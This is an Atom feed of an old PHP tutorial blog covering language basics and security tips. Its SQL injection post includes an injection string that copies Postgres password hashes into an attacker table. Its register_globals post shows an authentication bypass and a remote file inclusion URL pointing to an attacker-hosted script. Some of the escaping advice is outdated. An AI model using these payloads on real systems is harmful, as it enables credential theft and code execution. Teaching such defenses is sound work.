<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2312474754458838108</id><updated>2012-02-16T17:54:33.170-08:00</updated><category term='asp tag use'/><category term='case insensitive'/><category term='Compatible problems'/><category term='short open tag use'/><category term='first php script'/><category term='Secure Ways to Write SQL Queries'/><category term='get start with php'/><category term='system info by php'/><category term='SQL Injection'/><category term='function global scope'/><category term='overloading'/><category term='register globals tips'/><category term='php script'/><category term='global define variable'/><category term='GLOBALS Array Scope'/><category term='remote file inclusion'/><category term='Avoid SQL Injection'/><category term='first php tutorial'/><category term='recursive call limitation'/><category term='security issues register globals'/><category term='php info tutorial'/><category term='write secure code tips'/><category term='Checklist before use of older php code'/><title type='text'>PHP Tutorial, PHP scripts, Free PHP Programming Information</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-418514674840947499</id><published>2009-10-04T06:26:00.000-07:00</published><updated>2009-10-04T06:42:33.172-07:00</updated><title type='text'>Function Arguments</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;You can pass information to function via argument list.There are following ways to pass information.&lt;br /&gt;&lt;br /&gt;1.Pass By Reference&lt;br /&gt;&lt;br /&gt;function calculatepagesize(&amp;$num_records){&lt;br /&gt;//sql queries and get tot number of records.&lt;br /&gt;$num_records = $total_records;&lt;br /&gt;}&lt;br /&gt;$num_records=0;&lt;br /&gt;calculatepagesize($num_records);&lt;br /&gt;echo $num_records;&lt;br /&gt;&lt;br /&gt;In this case, There is no need to return statement.&lt;br /&gt;&lt;br /&gt;2.Pass By Value&lt;br /&gt;&lt;br /&gt;function calculatepagesize($num_records){&lt;br /&gt;//sql queries and get tot number of records.&lt;br /&gt;$num_records = $total_records;&lt;br /&gt;return $num_records;&lt;br /&gt;}&lt;br /&gt;$num_records=0;&lt;br /&gt;calculatepagesize($num_records);&lt;br /&gt;echo $num_records;&lt;br /&gt;&lt;br /&gt;In this case, There is need to return statement.&lt;br /&gt;&lt;br /&gt;3.Default Argument Values&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;function A($flag=false){&lt;br /&gt;  if($flag){&lt;br /&gt;    execute condition1&lt;br /&gt;  }else{&lt;br /&gt;    execute condition2&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;call: A();&lt;br /&gt;call: A($flag);&lt;br /&gt;&lt;br /&gt;4.correct way of default arguments&lt;br /&gt;&lt;br /&gt;function A($arg1,$arg2="NULL"){&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;5.incorrect way of default arguments&lt;br /&gt;&lt;br /&gt;function B($arg2="NULL",$arg1){&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Enjoy!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-418514674840947499?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/418514674840947499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/10/function-arguments.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/418514674840947499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/418514674840947499'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/10/function-arguments.html' title='Function Arguments'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-4771633265531222234</id><published>2009-10-04T06:17:00.000-07:00</published><updated>2009-10-04T06:24:51.284-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='overloading'/><category scheme='http://www.blogger.com/atom/ns#' term='function global scope'/><category scheme='http://www.blogger.com/atom/ns#' term='recursive call limitation'/><category scheme='http://www.blogger.com/atom/ns#' term='case insensitive'/><title type='text'>Function In PHP</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;1.All functions and classes in PHP have the global scope - they can be called outside a function even if they were defined inside and vice versa. &lt;br /&gt;&lt;br /&gt;2.PHP does not support function overloading, nor is it possible to undefine or redefine previously-declared functions. &lt;br /&gt;&lt;br /&gt;3.Function names are case-insensitive, though it is usually good form to call functions as they appear in their declaration. &lt;br /&gt;&lt;br /&gt;4.It is possible to call recursive functions in PHP. However avoid recursive function/method calls with over 100-200 recursion levels as it can smash the stack and cause a termination of the current script. &lt;br /&gt;&lt;br /&gt;Best Wishes!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-4771633265531222234?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/4771633265531222234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/10/f.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/4771633265531222234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/4771633265531222234'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/10/f.html' title='Function In PHP'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-3136905322592268928</id><published>2009-09-27T01:38:00.000-07:00</published><updated>2009-09-27T01:39:21.476-07:00</updated><title type='text'>HTTP authentication with PHP</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;The HTTP Authentication hooks in PHP are only available when it is running as an Apache module and is hence not available in the CGI version.&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-3136905322592268928?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/3136905322592268928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/http-authentication-with-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/3136905322592268928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/3136905322592268928'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/http-authentication-with-php.html' title='HTTP authentication with PHP'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-6527849214580429179</id><published>2009-09-27T01:29:00.000-07:00</published><updated>2009-09-27T01:32:33.840-07:00</updated><title type='text'>Hiding PHP From Attackers</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;you can simply hide php to slow down attacker to find out the weakness of your system.&lt;br /&gt;&lt;br /&gt;this can possible using .htaccess or apache configuration file.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Hide PHP as another language&lt;/span&gt;&lt;br /&gt;AddType application/x-httpd-php .asp .pl&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Hide PHP as html&lt;/span&gt;&lt;br /&gt;AddType application/x-httpd-php .html .htm&lt;br /&gt;&lt;br /&gt;Enjoy!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-6527849214580429179?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/6527849214580429179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/hiding-php-from-attackers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/6527849214580429179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/6527849214580429179'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/hiding-php-from-attackers.html' title='Hiding PHP From Attackers'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-3066624649261434281</id><published>2009-09-27T01:18:00.000-07:00</published><updated>2009-09-27T01:28:09.885-07:00</updated><title type='text'>Magic Quotes</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;magic_quotes_gpc&lt;/span&gt; (default on)&lt;br /&gt;it will affects http request data ($_GET,$_POST,$REQUEST).&lt;br /&gt;it will not set by runtime.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;magic_quotes_runtime&lt;/span&gt; (default off)&lt;br /&gt;if on, then it will replace quotes with backslashes while returning data from database or files or external sources.&lt;br /&gt;can be set runtime.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;magic_quotes_sybase&lt;/span&gt; (default off)&lt;br /&gt;if on, then single quote escaped with single quote.if magic_quotes_sybase and magic_quotes_gpc both are on, then only single quote escaping possible.double quote,backslashes,NULL remain untouch or unescaped.&lt;br /&gt;&lt;br /&gt;Enjoy!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-3066624649261434281?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/3066624649261434281/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/magic-quotes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/3066624649261434281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/3066624649261434281'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/magic-quotes.html' title='Magic Quotes'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-2196708479721151193</id><published>2009-09-27T00:41:00.000-07:00</published><updated>2009-09-27T01:00:08.050-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Avoid SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Secure Ways to Write SQL Queries'/><title type='text'>SQL Injection</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;Beware before executing any sql query without  validating type of any input parameter which is concated with query!&lt;br /&gt;&lt;br /&gt;For Example:&lt;br /&gt;&lt;br /&gt;if(!$offset){&lt;br /&gt;  $offset = 5;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$query = "select id, name from customer order by name LIMIT 0,$offset;";&lt;br /&gt;&lt;br /&gt;Now above query will be tempered by following url.&lt;br /&gt;&lt;br /&gt;any one can pass $offset value like below;&lt;br /&gt;&lt;br /&gt;0;insert attacher_db(username,password)select 'crack', usesysid from pg_shadow where usename='postgres';&lt;br /&gt;&lt;br /&gt;the same way, anyone can attack on database hosts operating system by passing sql command.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How to avoid this type of attacks?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Never connect database using superuser or root user.always create customized user with limited privileges.&lt;br /&gt;&lt;br /&gt;2. Check data type of given input parameter&lt;br /&gt;&lt;br /&gt;3. Check numercial type using is_numeric or convert data type or use sprintf function to write sql query for integer values.&lt;br /&gt;&lt;br /&gt;4. quote each non-numeric values by using database escaping function like mysql_escape_string or addslashes or str_replace &lt;br /&gt;&lt;br /&gt;Hope above information will help you more.&lt;br /&gt;&lt;br /&gt;Enjoy!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-2196708479721151193?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/2196708479721151193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/2196708479721151193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/2196708479721151193'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/sql-injection.html' title='SQL Injection'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-853348139391896816</id><published>2009-09-06T04:13:00.000-07:00</published><updated>2009-09-06T07:33:33.711-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security issues register globals'/><category scheme='http://www.blogger.com/atom/ns#' term='write secure code tips'/><category scheme='http://www.blogger.com/atom/ns#' term='remote file inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='register globals tips'/><title type='text'>Security Issue With Register Globals</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;There are some security concerns when register_globals on.&lt;br /&gt;&lt;br /&gt;If it is on, then anyone can inject malicious code in your script if your code didn't validate incoming data appropriately.&lt;br /&gt;&lt;br /&gt;For Example,&lt;br /&gt;&lt;br /&gt;if(checklogin()){&lt;br /&gt;   $valid_user=true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if($valid_user){&lt;br /&gt;  include("/script/data/profile.php");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;In the above case, someone can do break on this by just passing auth.php?$valid_user=1;&lt;br /&gt;&lt;br /&gt;It is good practice that always initialize variables and always check incoming data coming from right request and in right format.&lt;br /&gt;&lt;br /&gt;register_global = ON, also invite virus attach if your code is not proper validating incoming data.&lt;br /&gt;&lt;br /&gt;this can be possible by remote file inclusion.&lt;br /&gt;&lt;br /&gt;for example:&lt;br /&gt;&lt;br /&gt;if your code include file like below,&lt;br /&gt;&lt;br /&gt;include($file.'php');&lt;br /&gt;&lt;br /&gt;it is good for local file but, it is risky because anyone can easily remotely include their file like below.&lt;br /&gt;&lt;br /&gt;http://yourdomain.com/index.php?$file='http://xyz.com/attacker.php';&lt;br /&gt;&lt;br /&gt;If you know ahead of time exactly where a variable should be coming from, you can check to see if the submitted data is coming from an inappropriate kind of submission. While it doesn't guarantee that data has not been forged, it does require an attacker to guess the right kind of forging.&lt;br /&gt;&lt;br /&gt;Hope this information help you lot.&lt;br /&gt;&lt;br /&gt;Best Wishes!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-853348139391896816?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/853348139391896816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/security-issue-with-regster-globals.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/853348139391896816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/853348139391896816'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/09/security-issue-with-regster-globals.html' title='Security Issue With Register Globals'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-9082451550752674524</id><published>2009-08-05T00:34:00.000-07:00</published><updated>2009-08-05T00:42:35.791-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GLOBALS Array Scope'/><category scheme='http://www.blogger.com/atom/ns#' term='global define variable'/><title type='text'>$GLOBALS exists in any scope</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;We can use $GLOBALS instead of global type because it is superglobal and associative array.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Example 1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;$name='Gaurang Bhatt';&lt;br /&gt;function demo(){&lt;br /&gt;  global $name;&lt;br /&gt;  echo $name;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Example 2:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;$name="Gaurang Bhatt";&lt;br /&gt;function demo(){&lt;br /&gt;  echo $GLOBALS['name'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;br /&gt;&lt;br /&gt;Best Wishes!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-9082451550752674524?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/9082451550752674524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/globals-exists-in-any-scope.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/9082451550752674524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/9082451550752674524'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/globals-exists-in-any-scope.html' title='$GLOBALS exists in any scope'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-4051101048877397850</id><published>2009-08-04T23:44:00.000-07:00</published><updated>2009-08-05T00:11:40.882-07:00</updated><title type='text'>Some Facts about Variable Types in PHP</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;Kindly see following facts.&lt;br /&gt;&lt;br /&gt;1. To assign boolean literal, use either TRUE or FALSE and it is case-insensitive.&lt;br /&gt;2. Following Values count as FALSE in case of boolean.&lt;br /&gt;&lt;br /&gt;FALSE itself equals to FALSE&lt;br /&gt;integer 0 equals to FALSE&lt;br /&gt;float 0.00 equals to FALSE&lt;br /&gt;empty string equals to FALSE&lt;br /&gt;string '0' equals to FALSE&lt;br /&gt;array with zero elements equals to FALSE&lt;br /&gt;object with zero members equals to FALSE&lt;br /&gt;NULL Type equals to FALSE&lt;br /&gt;&lt;br /&gt;3. Integer overflow&lt;br /&gt;&lt;br /&gt;If you assign number beyond bounds of integer type, then it is convert into Float Type Value.&lt;br /&gt;&lt;br /&gt;4. Type casting for Integer.&lt;br /&gt;&lt;br /&gt;FALSE convert in 0.&lt;br /&gt;TRUE convert in 1.&lt;br /&gt;Float convert to rounded towards zero.&lt;br /&gt;&lt;br /&gt;If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31), the result is undefined, since the float hasn't got enough precision to give an exact integer result. No warning, not even a notice will be issued in this case!&lt;br /&gt;&lt;br /&gt;5.If a dollar sign ($) is encountered, the parser will greedily take as many tokens as possible to form a valid variable name. Enclose the variable name in curly braces if you want to explicitly specify the end of the name.&lt;br /&gt;&lt;br /&gt;6.Characters within strings may be accessed and modified by specifying the zero-based offset of the desired character after the string in curly braces.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-4051101048877397850?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/4051101048877397850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/some-facts-about-variable-types-in-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/4051101048877397850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/4051101048877397850'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/some-facts-about-variable-types-in-php.html' title='Some Facts about Variable Types in PHP'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-4779125061243265021</id><published>2009-08-04T23:25:00.000-07:00</published><updated>2009-08-04T23:37:06.340-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='short open tag use'/><category scheme='http://www.blogger.com/atom/ns#' term='asp tag use'/><title type='text'>PHP Opening and Closing Tags</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;Kindly see following checklist before using opening and closing tags of php.it is required to see version of php.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;1.&amp;nbsp;&amp;nbsp;&amp;lt;?php&amp;nbsp;echo&amp;nbsp;'This is common way to use php tags.';&amp;nbsp;?&amp;gt;&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  2.&amp;nbsp;&amp;nbsp;&amp;lt;script&amp;nbsp;language=&amp;quot;php&amp;quot;&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;'some&amp;nbsp;editors&amp;nbsp;(like&amp;nbsp;FrontPage)&amp;nbsp;don\'t&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;like&amp;nbsp;processing&amp;nbsp;instructions';&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/script&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  3.&amp;nbsp;&amp;nbsp;&amp;lt;?&amp;nbsp;echo&amp;nbsp;'this is simple way but this is depend on php version and configuration';&amp;nbsp;?&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;?=&amp;nbsp;expression&amp;nbsp;?&amp;gt;&amp;nbsp;This&amp;nbsp;is&amp;nbsp;a&amp;nbsp;shortcut&amp;nbsp;for&amp;nbsp;&amp;quot;&amp;lt;?&amp;nbsp;echo&amp;nbsp;expression&amp;nbsp;?&amp;gt;&amp;quot;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  4.&amp;nbsp;&amp;nbsp;&amp;lt;%&amp;nbsp;echo&amp;nbsp;'You&amp;nbsp;may&amp;nbsp;optionally&amp;nbsp;use&amp;nbsp;ASP-style&amp;nbsp;tags';&amp;nbsp;%&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;%=&amp;nbsp;$variable;&amp;nbsp;#&amp;nbsp;This&amp;nbsp;is&amp;nbsp;a&amp;nbsp;shortcut&amp;nbsp;for&amp;nbsp;&amp;quot;&amp;lt;%&amp;nbsp;echo&amp;nbsp;.&amp;nbsp;.&amp;nbsp;.&amp;quot;&amp;nbsp;%&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Example 1 is most common way and available with all php version and configuration.&lt;br /&gt;Example 2 is same as Example 1.&lt;br /&gt;Example 3 is depend on short_open_tag enabled in php.ini configuration file directive.&lt;br /&gt;Example 4 is depend on asp_tags enabled in php.ini configuration file directive.&lt;br /&gt;&lt;br /&gt;Enjoy!!&lt;br /&gt;&lt;br /&gt;Best Wishes&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-4779125061243265021?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/4779125061243265021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/php-opening-and-closing-tags.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/4779125061243265021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/4779125061243265021'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/php-opening-and-closing-tags.html' title='PHP Opening and Closing Tags'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-3122223328271594448</id><published>2009-08-04T22:51:00.000-07:00</published><updated>2009-08-04T23:15:18.240-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Compatible problems'/><category scheme='http://www.blogger.com/atom/ns#' term='Checklist before use of older php code'/><title type='text'>Checklist before Using Old PHP Code with new version of PHP.</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;Kindly see following check list before using old code of php with newer version of php.&lt;br /&gt;&lt;br /&gt;1)In PHP 4.1.0, autoglobal arrays like $_GET,$_POST,$_SERVER,$HTTP_POST_VARS are available but in PHP 5.0.0, these all may be disable with register_long_arrays directive.&lt;br /&gt;&lt;br /&gt;2)In PHP 4.2.0, the PHP directive register_globals is off by default in php.ini so, preferred method to access these values by using autoglobal arrays.&lt;br /&gt;&lt;br /&gt;For example,&lt;br /&gt;&lt;br /&gt;http://example.com/index.php?id=4&lt;br /&gt;&lt;br /&gt;If older script use $id to access value instead of $_GET['id'] then if register_globals directive is off, then you can't get value of $id.&lt;br /&gt;&lt;br /&gt;So, Best way is that whether register_globals off or on use $_GET['id'].&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-3122223328271594448?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/3122223328271594448/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/checklist-before-using-old-php-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' 